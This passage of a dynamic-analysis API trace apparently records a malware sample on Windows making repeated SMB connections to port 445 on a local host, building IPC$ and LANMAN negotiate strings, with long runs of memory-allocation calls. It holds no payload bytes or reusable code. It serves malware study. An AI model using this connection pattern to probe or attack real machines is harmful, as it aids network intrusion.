strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.241] realloc (_Block=0x0, _Size=0x11) returned 0xd97358 [0096.241] htons (hostshort=0x1bd) returned 0xbd01 [0096.241] socket (af=2, type=1, protocol=6) returned 0xbc [0096.241] setsockopt (s=0xbc, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.241] connect (s=0xbc, name=0xe1a9b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.242] realloc (_Block=0x0, _Size=0x1) returned 0xd902d0 [0096.242] realloc (_Block=0xd902d0, _Size=0x2) returned 0xd902e0 [0096.242] realloc (_Block=0xd902e0, _Size=0x3) returned 0xd902d0 [0096.242] realloc (_Block=0xd902d0, _Size=0x4) returned 0xd902e0 [0096.242] realloc (_Block=0xd902e0, _Size=0x1004) returned 0xd9fe90 [0096.242] send (s=0xbc, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.242] free (_Block=0xd9fe90) [0096.242] malloc (_Size=0x1090) returned 0xe1ba28 [0096.242] htons (hostshort=0x1122) returned 0x2211 [0096.242] malloc (_Size=0x2000) returned 0xdf67c8 [0096.242] rand () returned 27455 [0096.242] rand () returned 290 [0096.242] rand () returned 2406 [0096.242] rand () returned 9093 [0096.242] malloc (_Size=0x18) returned 0xd97378 [0096.243] realloc (_Block=0x0, _Size=0x6) returned 0xd902e0 [0096.243] realloc (_Block=0x0, _Size=0xa) returned 0xead4f0 [0096.243] strlen (_Str="LANMAN") returned 0x6 [0096.243] realloc (_Block=0x0, _Size=0x7) returned 0xd902d0 [0096.243] strlen (_Str="IPC$") returned 0x4 [0096.243] realloc (_Block=0x0, _Size=0x5) returned 0xd902f0 [0096.243] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.243] realloc (_Block=0x0, _Size=0x12) returned 0xd97398 [0096.243] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.243] realloc (_Block=0x0, _Size=0x11) returned 0xd973b8 [0096.243] htons (hostshort=0x1bd) returned 0xbd01 [0096.243] socket (af=2, type=1, protocol=6) returned 0xc0 [0096.243] setsockopt (s=0xc0, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.243] connect (s=0xc0, name=0xe1ba48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.244] realloc (_Block=0x0, _Size=0x1) returned 0xd90300 [0096.244] realloc (_Block=0xd90300, _Size=0x2) returned 0xd90310 [0096.244] realloc (_Block=0xd90310, _Size=0x3) returned 0xd90300 [0096.244] realloc (_Block=0xd90300, _Size=0x4) returned 0xd90310 [0096.244] realloc (_Block=0xd90310, _Size=0x1004) returned 0xd9fe90 [0096.244] send (s=0xc0, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.244] free (_Block=0xd9fe90) [0096.244] malloc (_Size=0x1090) returned 0xe1cac0 [0096.244] htons (hostshort=0x1122) returned 0x2211 [0096.244] malloc (_Size=0x2000) returned 0xdfc7e0 [0096.244] rand () returned 1321 [0096.244] rand () returned 7172 [0096.244] rand () returned 14429 [0096.244] rand () returned 27459 [0096.244] malloc (_Size=0x18) returned 0xd973d8 [0096.244] realloc (_Block=0x0, _Size=0x6) returned 0xd90310 [0096.244] realloc (_Block=0x0, _Size=0xa) returned 0xead478 [0096.245] strlen (_Str="LANMAN") returned 0x6 [0096.245] realloc (_Block=0x0, _Size=0x7) returned 0xd90300 [0096.245] strlen (_Str="IPC$") returned 0x4 [0096.245] realloc (_Block=0x0, _Size=0x5) returned 0xd90320 [0096.245] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.245] realloc (_Block=0x0, _Size=0x12) returned 0xd973f8 [0096.245] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.245] realloc (_Block=0x0, _Size=0x11) returned 0xd97418 [0096.245] htons (hostshort=0x1bd) returned 0xbd01 [0096.245] socket (af=2, type=1, protocol=6) returned 0xc4 [0096.245] setsockopt (s=0xc4, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.245] connect (s=0xc4, name=0xe1cae0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.245] realloc (_Block=0x0, _Size=0x1) returned 0xd90330 [0096.245] realloc (_Block=0xd90330, _Size=0x2) returned 0xd90340 [0096.245] realloc (_Block=0xd90340, _Size=0x3) returned 0xd90330 [0096.245] realloc (_Block=0xd90330, _Size=0x4) returned 0xd90340 [0096.246] realloc (_Block=0xd90340, _Size=0x1004) returned 0xd9fe90 [0096.246] send (s=0xc4, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.246] free (_Block=0xd9fe90) [0096.246] malloc (_Size=0x1090) returned 0xe1db58 [0096.246] htons (hostshort=0x1122) returned 0x2211 [0096.246] malloc (_Size=0x2000) returned 0xe027f8 [0096.246] rand () returned 31948 [0096.246] rand () returned 8975 [0096.246] rand () returned 25311 [0096.246] rand () returned 4179 [0096.246] malloc (_Size=0x18) returned 0xd97438 [0096.246] realloc (_Block=0x0, _Size=0x6) returned 0xd90340 [0096.246] realloc (_Block=0x0, _Size=0xa) returned 0xead4c0 [0096.246] strlen (_Str="LANMAN") returned 0x6 [0096.246] realloc (_Block=0x0, _Size=0x7) returned 0xd90330 [0096.246] strlen (_Str="IPC$") returned 0x4 [0096.246] realloc (_Block=0x0, _Size=0x5) returned 0xd90350 [0096.246] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.246] realloc (_Block=0x0, _Size=0x12) returned 0xd97458 [0096.246] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.246] realloc (_Block=0x0, _Size=0x11) returned 0xd97478 [0096.246] htons (hostshort=0x1bd) returned 0xbd01 [0096.246] socket (af=2, type=1, protocol=6) returned 0xc8 [0096.247] setsockopt (s=0xc8, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.247] connect (s=0xc8, name=0xe1db78*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.247] realloc (_Block=0x0, _Size=0x1) returned 0xd90360 [0096.247] realloc (_Block=0xd90360, _Size=0x2) returned 0xd90370 [0096.247] realloc (_Block=0xd90370, _Size=0x3) returned 0xd90360 [0096.247] realloc (_Block=0xd90360, _Size=0x4) returned 0xd90370 [0096.247] realloc (_Block=0xd90370, _Size=0x1004) returned 0xd9fe90 [0096.247] send (s=0xc8, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.247] free (_Block=0xd9fe90) [0096.247] malloc (_Size=0x1090) returned 0xe1ebf0 [0096.248] htons (hostshort=0x1122) returned 0x2211 [0096.248] malloc (_Size=0x2000) returned 0xe08810 [0096.248] rand () returned 21309 [0096.248] rand () returned 7301 [0096.248] rand () returned 22949 [0096.248] rand () returned 30222 [0096.248] malloc (_Size=0x18) returned 0xd97498 [0096.248] realloc (_Block=0x0, _Size=0x6) returned 0xd90370 [0096.248] realloc (_Block=0x0, _Size=0xa) returned 0xead4a8 [0096.248] strlen (_Str="LANMAN") returned 0x6 [0096.248] realloc (_Block=0x0, _Size=0x7) returned 0xd90360 [0096.248] strlen (_Str="IPC$") returned 0x4 [0096.248] realloc (_Block=0x0, _Size=0x5) returned 0xd90380 [0096.248] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.248] realloc (_Block=0x0, _Size=0x12) returned 0xd974b8 [0096.248] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.248] realloc (_Block=0x0, _Size=0x11) returned 0xd974d8 [0096.248] htons (hostshort=0x1bd) returned 0xbd01 [0096.248] socket (af=2, type=1, protocol=6) returned 0xcc [0096.248] setsockopt (s=0xcc, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.248] connect (s=0xcc, name=0xe1ec10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.249] realloc (_Block=0x0, _Size=0x1) returned 0xd90390 [0096.249] realloc (_Block=0xd90390, _Size=0x2) returned 0xd903a0 [0096.249] realloc (_Block=0xd903a0, _Size=0x3) returned 0xd90390 [0096.249] realloc (_Block=0xd90390, _Size=0x4) returned 0xd903a0 [0096.249] realloc (_Block=0xd903a0, _Size=0x1004) returned 0xd9fe90 [0096.249] send (s=0xcc, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.249] free (_Block=0xd9fe90) [0096.249] malloc (_Size=0x1090) returned 0xe1fc88 [0096.249] htons (hostshort=0x1122) returned 0x2211 [0096.249] malloc (_Size=0x2000) returned 0xe0e828 [0096.249] rand () returned 21604 [0096.249] rand () returned 32301 [0096.249] rand () returned 11992 [0096.249] rand () returned 2931 [0096.249] malloc (_Size=0x18) returned 0xd974f8 [0096.249] realloc (_Block=0x0, _Size=0x6) returned 0xd903a0 [0096.249] realloc (_Block=0x0, _Size=0xa) returned 0xead490 [0096.250] strlen (_Str="LANMAN") returned 0x6 [0096.250] realloc (_Block=0x0, _Size=0x7) returned 0xd90390 [0096.250] strlen (_Str="IPC$") returned 0x4 [0096.250] realloc (_Block=0x0, _Size=0x5) returned 0xd903b0 [0096.250] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.250] realloc (_Block=0x0, _Size=0x12) returned 0xd97518 [0096.250] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.250] realloc (_Block=0x0, _Size=0x11) returned 0xd97538 [0096.250] htons (hostshort=0x1bd) returned 0xbd01 [0096.250] socket (af=2, type=1, protocol=6) returned 0xd0 [0096.250] setsockopt (s=0xd0, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.250] connect (s=0xd0, name=0xe1fca8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.250] malloc (_Size=0x400) returned 0xd92b50 [0096.251] malloc (_Size=0x400) returned 0xd9fe90 [0096.251] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16 [0096.251] strlen (_Str="LANMAN1.0") returned 0x9 [0096.251] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b [0096.251] strlen (_Str="LM1.2X002") returned 0x9 [0096.251] strlen (_Str="LANMAN2.1") returned 0x9 [0096.251] strlen (_Str="NT LM 0.12") returned 0xa [0096.251] realloc (_Block=0x0, _Size=0x1000) returned 0xe20d20 [0096.251] send (s=0xd0, buf=0xe20d20*, len=137, flags=0) returned 137 [0096.251] select (in: nfds=209, readfds=0x2b1f178, writefds=0x0, exceptfds=0x0, timeout=0x2b1f27c*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f178, writefds=0x0, exceptfds=0x0) returned 1 [0096.252] recv (in: s=0xd0, buf=0xd92b50, len=1024, flags=0 | out: buf=0xd92b50*) returned 131 [0096.252] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0096.252] send (s=0xd0, buf=0xd9fe90*, len=85, flags=0) returned 85 [0096.252] select (in: nfds=209, readfds=0x2b1f230, writefds=0x0, exceptfds=0x0, timeout=0x2b1f334*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f230, writefds=0x0, exceptfds=0x0) returned 1 [0096.252] recv (in: s=0xd0, buf=0xd92b50, len=1024, flags=0 | out: buf=0xd92b50*) returned 125 [0096.252] free (_Block=0xd92b50) [0096.252] free (_Block=0xd9fe90) [0096.253] closesocket (s=0x98) returned 0 [0096.253] free (_Block=0xdb8468) [0096.253] free (_Block=0xdba470) [0096.253] free (_Block=0xdb6460) [0096.253] free (_Block=0xda10b0) [0096.253] free (_Block=0xda10a0) [0096.253] free (_Block=0xd96fd8) [0096.253] free (_Block=0xd96ff8) [0096.253] free (_Block=0xda10c0) [0096.253] free (_Block=0xead5e0) [0096.253] free (_Block=0xd96f78) [0096.253] free (_Block=0xdb53c8) [0096.253] malloc (_Size=0x1090) returned 0xe20d20 [0096.253] htons (hostshort=0x1122) returned 0x2211 [0096.253] malloc (_Size=0x2000) returned 0xe21dd0 [0096.255] rand () returned 28797 [0096.255] rand () returned 8401 [0096.255] rand () returned 23449 [0096.255] rand () returned 23204 [0096.255] malloc (_Size=0x18) returned 0xd96f78 [0096.255] realloc (_Block=0x0, _Size=0x6) returned 0xda10c0 [0096.255] realloc (_Block=0x0, _Size=0xa) returned 0xead5e0 [0096.255] strlen (_Str="LANMAN") returned 0x6 [0096.255] realloc (_Block=0x0, _Size=0x7) returned 0xda10a0 [0096.255] strlen (_Str="IPC$") returned 0x4 [0096.255] realloc (_Block=0x0, _Size=0x5) returned 0xda10b0 [0096.255] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.255] realloc (_Block=0x0, _Size=0x12) returned 0xd96ff8 [0096.255] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.256] realloc (_Block=0x0, _Size=0x11) returned 0xd96fd8 [0096.256] htons (hostshort=0x1bd) returned 0xbd01 [0096.256] socket (af=2, type=1, protocol=6) returned 0x98 [0096.256] setsockopt (s=0x98, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.256] connect (s=0x98, name=0xe20d40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.256] realloc (_Block=0x0, _Size=0x1) returned 0xd903c0 [0096.256] realloc (_Block=0xd903c0, _Size=0x2) returned 0xd903d0 [0096.256] realloc (_Block=0xd903d0, _Size=0x3) returned 0xd903c0 [0096.256] realloc (_Block=0xd903c0, _Size=0x4) returned 0xd903d0 [0096.256] realloc (_Block=0xd903d0, _Size=0x1004) returned 0xd9fe90 [0096.256] send (s=0x98, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.256] free (_Block=0xd9fe90) [0096.257] malloc (_Size=0x1090) returned 0xe61db8 [0096.257] htons (hostshort=0x1122) returned 0x2211 [0096.257] malloc (_Size=0x2000) returned 0xe27de8 [0096.257] rand () returned 26009 [0096.257] rand () returned 17346 [0096.257] rand () returned 13691 [0096.257] rand () returned 10341 [0096.257] malloc (_Size=0x18) returned 0xd97558 [0096.257] realloc (_Block=0x0, _Size=0x6) returned 0xd903d0 [0096.257] realloc (_Block=0x0, _Size=0xa) returned 0xead430 [0096.257] strlen (_Str="LANMAN") returned 0x6 [0096.257] realloc (_Block=0x0, _Size=0x7) returned 0xd903c0 [0096.257] strlen (_Str="IPC$") returned 0x4 [0096.257] realloc (_Block=0x0, _Size=0x5) returned 0xd903e0 [0096.257] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.257] realloc (_Block=0x0, _Size=0x12) returned 0xd97578 [0096.257] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.257] realloc (_Block=0x0, _Size=0x11) returned 0xd97598 [0096.257] htons (hostshort=0x1bd) returned 0xbd01 [0096.257] socket (af=2, type=1, protocol=6) returned 0xd4 [0096.257] setsockopt (s=0xd4, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.258] connect (s=0xd4, name=0xe61dd8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.258] realloc (_Block=0x0, _Size=0x1) returned 0xd903f0 [0096.258] realloc (_Block=0xd903f0, _Size=0x2) returned 0xd90400 [0096.258] realloc (_Block=0xd90400, _Size=0x3) returned 0xd903f0 [0096.258] realloc (_Block=0xd903f0, _Size=0x4) returned 0xd90400 [0096.258] realloc (_Block=0xd90400, _Size=0x1004) returned 0xd9fe90 [0096.258] send (s=0xd4, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.259] free (_Block=0xd9fe90) [0096.259] malloc (_Size=0x1090) returned 0xe62e68 [0096.260] htons (hostshort=0x1122) returned 0x2211 [0096.260] malloc (_Size=0x2000) returned 0xe2de00 [0096.260] rand () returned 14620 [0096.260] rand () returned 8273 [0096.260] rand () returned 13317 [0096.260] rand () returned 9122 [0096.260] malloc (_Size=0x18) returned 0xd975b8 [0096.260] realloc (_Block=0x0, _Size=0x6) returned 0xd90400 [0096.260] realloc (_Block=0x0, _Size=0xa) returned 0xead460 [0096.260] strlen (_Str="LANMAN") returned 0x6 [0096.260] realloc (_Block=0x0, _Size=0x7) returned 0xd903f0 [0096.260] strlen (_Str="IPC$") returned 0x4 [0096.260] realloc (_Block=0x0, _Size=0x5) returned 0xd90410 [0096.260] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.260] realloc (_Block=0x0, _Size=0x12) returned 0xd97628 [0096.260] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.261] realloc (_Block=0x0, _Size=0x11) returned 0xd97648 [0096.261] htons (hostshort=0x1bd) returned 0xbd01 [0096.261] socket (af=2, type=1, protocol=6) returned 0xd8 [0096.261] setsockopt (s=0xd8, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.261] connect (s=0xd8, name=0xe62e88*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.262] realloc (_Block=0x0, _Size=0x1) returned 0xd90420 [0096.262] realloc (_Block=0xd90420, _Size=0x2) returned 0xd90430 [0096.262] realloc (_Block=0xd90430, _Size=0x3) returned 0xd90420 [0096.262] realloc (_Block=0xd90420, _Size=0x4) returned 0xd90430 [0096.262] realloc (_Block=0xd90430, _Size=0x1004) returned 0xd9fe90 [0096.262] send (s=0xd8, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.262] free (_Block=0xd9fe90) [0096.262] malloc (_Size=0x1090) returned 0xe63f70 [0096.262] htons (hostshort=0x1122) returned 0x2211 [0096.262] malloc (_Size=0x2000) returned 0xe33e18 [0096.262] rand () returned 319 [0096.262] rand () returned 3413 [0096.262] rand () returned 1587 [0096.262] rand () returned 9447 [0096.262] malloc (_Size=0x18) returned 0xd97668 [0096.262] realloc (_Block=0x0, _Size=0x6) returned 0xd90430 [0096.263] realloc (_Block=0x0, _Size=0xa) returned 0xead448 [0096.263] strlen (_Str="LANMAN") returned 0x6 [0096.263] realloc (_Block=0x0, _Size=0x7) returned 0xd90420 [0096.263] strlen (_Str="IPC$") returned 0x4 [0096.263] realloc (_Block=0x0, _Size=0x5) returned 0xd96498 [0096.263] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.263] realloc (_Block=0x0, _Size=0x12) returned 0xd97688 [0096.263] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.263] realloc (_Block=0x0, _Size=0x11) returned 0xd976a8 [0096.263] htons (hostshort=0x1bd) returned 0xbd01 [0096.263] socket (af=2, type=1, protocol=6) returned 0xdc [0096.263] setsockopt (s=0xdc, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.263] connect (s=0xdc, name=0xe63f90*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.264] realloc (_Block=0x0, _Size=0x1) returned 0xd964a8 [0096.264] realloc (_Block=0xd964a8, _Size=0x2) returned 0xd964b8 [0096.264] realloc (_Block=0xd964b8, _Size=0x3) returned 0xd964a8 [0096.264] realloc (_Block=0xd964a8, _Size=0x4) returned 0xd964b8 [0096.264] realloc (_Block=0xd964b8, _Size=0x1004) returned 0xd9fe90 [0096.264] send (s=0xdc, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.264] free (_Block=0xd9fe90) [0096.264] malloc (_Size=0x1090) returned 0xe65078 [0096.264] htons (hostshort=0x1122) returned 0x2211 [0096.264] malloc (_Size=0x2000) returned 0xe39e30 [0096.264] rand () returned 32397 [0096.264] rand () returned 12970 [0096.264] rand () returned 30708 [0096.264] rand () returned 32232 [0096.264] malloc (_Size=0x18) returned 0xd976c8 [0096.264] realloc (_Block=0x0, _Size=0x6) returned 0xd964b8 [0096.264] realloc (_Block=0x0, _Size=0xa) returned 0xead3e8 [0096.264] strlen (_Str="LANMAN") returned 0x6 [0096.264] realloc (_Block=0x0, _Size=0x7) returned 0xd964a8 [0096.264] strlen (_Str="IPC$") returned 0x4 [0096.264] realloc (_Block=0x0, _Size=0x5) returned 0xd964c8 [0096.264] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.265] realloc (_Block=0x0, _Size=0x12) returned 0xd976e8 [0096.265] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.265] realloc (_Block=0x0, _Size=0x11) returned 0xd97708 [0096.265] htons (hostshort=0x1bd) returned 0xbd01 [0096.265] socket (af=2, type=1, protocol=6) returned 0xe0 [0096.265] setsockopt (s=0xe0, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.265] connect (s=0xe0, name=0xe65098*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.265] realloc (_Block=0x0, _Size=0x1) returned 0xd964d8 [0096.265] realloc (_Block=0xd964d8, _Size=0x2) returned 0xd964e8 [0096.265] realloc (_Block=0xd964e8, _Size=0x3) returned 0xd964d8 [0096.265] realloc (_Block=0xd964d8, _Size=0x4) returned 0xd964e8 [0096.265] realloc (_Block=0xd964e8, _Size=0x1004) returned 0xd9fe90 [0096.265] send (s=0xe0, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.265] free (_Block=0xd9fe90) [0096.266] Sleep (dwMilliseconds=0x3e8) [0097.551] closesocket (s=0xd0) returned 0 [0097.559] free (_Block=0xe10830) [0097.559] free (_Block=0xe12838) [0097.559] free (_Block=0xe0e828) [0097.559] free (_Block=0xd903b0) [0097.559] free (_Block=0xd90390) [0097.559] free (_Block=0xd97518) [0097.559] free (_Block=0xd97538) [0097.559] free (_Block=0xd903a0) [0097.559] free (_Block=0xead490) [0097.559] free (_Block=0xd974f8) [0097.559] free (_Block=0xe1fc88) [0097.559] strlen (_Str="JlJmIhClBsr") returned 0xb [0097.559] strlen (_Str="JlJmIhClBsr") returned 0xb [0097.559] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.559] send (s=0x94, buf=0xd9fe90*, len=53, flags=0) returned 53 [0097.559] select (in: nfds=149, readfds=0x2b1f2d8, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3dc*(tv_sec=90, tv_usec=0) | out: readfds=0x2b1f2d8, writefds=0x0, exceptfds=0x0) returned 1 [0097.560] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 53 [0097.560] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.560] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0097.560] realloc (_Block=0xd9fe90, _Size=0x1016) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1017) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1018) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1019) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x101a) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x101b) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x101c) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x101d) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x101e) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x101f) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1020) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1021) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1022) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1023) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1024) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1025) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1026) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1027) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1028) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1029) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x102a) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x102b) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x102c) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x102d) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x102e) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x102f) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1030) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1031) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1032) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1033) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1034) returned 0xd9fe90 [0097.561] realloc (_Block=0xd9fe90, _Size=0x1035) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1036) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1037) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1038) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1039) returned 0xd9fe90 [0097.562] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1016) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1017) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1018) returned 0xd9fe90 [0097.562] realloc (_Block=0xd9fe90, _Size=0x1019) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x101a) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x101b) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x101c) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x101d) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x101e) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x101f) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1020) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1021) returned 0xd9fe90 [0097.563] realloc 